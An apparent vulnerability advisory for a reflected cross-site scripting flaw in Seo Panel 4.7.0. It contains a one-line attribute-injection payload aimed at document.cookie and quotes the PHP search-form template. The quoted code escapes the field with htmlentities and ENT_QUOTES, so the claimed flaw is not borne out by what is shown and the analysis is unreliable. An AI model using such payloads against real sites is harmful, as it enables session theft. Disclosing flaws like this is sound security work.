Seo Panel 4.7.0 Cross Site Scripting

`# Exploit Title: Seo Panel 4.7.0 Reflected XSS  
# Exploit Author: Arzu DEMÝREZ  
# Date: 05.03-2024  
# Vendor Homepage: https://www.seopanel.org/  
# Software Link: https://github.com/seopanel/Seo-Panel/releases/tag/4.7.0  
# Version: Seo Panel 4.7.0  
  
  
  
-Description:  
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.7.0 allows remote attackers to inject JavaScript.  
  
- used:  
x" onmouseover=alert(document.cookie) x="  
  
Review Of Analysis:  
Ýn archive.ctp.php file include search_form and search_name input load on that script at line 71 as  
<a href="javascript:void(0);" onclick="scriptDoLoadPost('archive.php', 'search_form', 'content')" class="actionbut"><?php echo $spText['button']['Search']?></a>  
because of that an attacker if send that code  
x" onmouseover=alert(document.cookie) x="  
can exploit the victim.  
  
<form id='search_form'>  
<table width="100%" class="search">  
<tr>  
<th><?php echo $spText['common']['Name']?>: </th>  
<td>  
<input type="text" name="search_name" value="<?php echo htmlentities($searchInfo['search_name'], ENT_QUOTES)?>" onblur="<?php echo $submitLink?>">  
</td>  
<th><?php echo $spText['common']['Period']?>:</th>  
<td colspan="2">  
<input type="text" value="<?php echo $fromTime?>" name="from_time" id="from_time_summary"/>  
<input type="text" value="<?php echo $toTime?>" name="to_time" id="to_time_summary"/>  
<script>  
$( function() {  
$( "#from_time_summary, #to_time_summary").datepicker({dateFormat: "yy-mm-dd"});  
} );  
</script>  
</td>  
<tr>  
<tr>  
<th><?php echo $spText['common']['Website']?>: </th>  
<td>  
<select name="website_id" id="website_id" onchange="scriptDoLoadPost('archive.php', 'search_form', 'content')" style="width: 180px;">  
<option value="">-- <?php echo $spText['common']['Select']?> --</option>  
<?php foreach($siteList as $websiteInfo){?>  
<?php if($websiteInfo['id'] == $websiteId){?>  
<option value="<?php echo $websiteInfo['id']?>" selected><?php echo $websiteInfo['name']?></option>  
<?php }else{?>  
<option value="<?php echo $websiteInfo['id']?>"><?php echo $websiteInfo['name']?></option>  
<?php }?>  
<?php }?>  
</select>  
</td>  
<th><?php echo $spText['label']['Report Type']?>: </th>  
<td>  
<select name="report_type" id="report_type" onchange="scriptDoLoadPost('archive.php', 'search_form', 'content')" style="width: 210px;">  
<option value="">-- <?php echo $spText['common']['Select']?> --</option>  
<?php foreach($reportTypes as $type => $info){?>  
<?php if($type == $searchInfo['report_type']){?>  
<option value="<?php echo $type?>" selected><?php echo $info?></option>  
<?php }else{?>  
<option value="<?php echo $type?>"><?php echo $info?></option>  
<?php }?>  
<?php }?>  
</select>  
<a href="javascript:void(0);" onclick="scriptDoLoadPost('archive.php', 'search_form', 'content')" class="actionbut"><?php echo $spText['button']['Search']?></a>  
  
  
Saygýlarýmla / Best Regards,  
  
  
  
[cid:e33e203c-58cd-46ba-b1ea-f27e999dc68d]  
`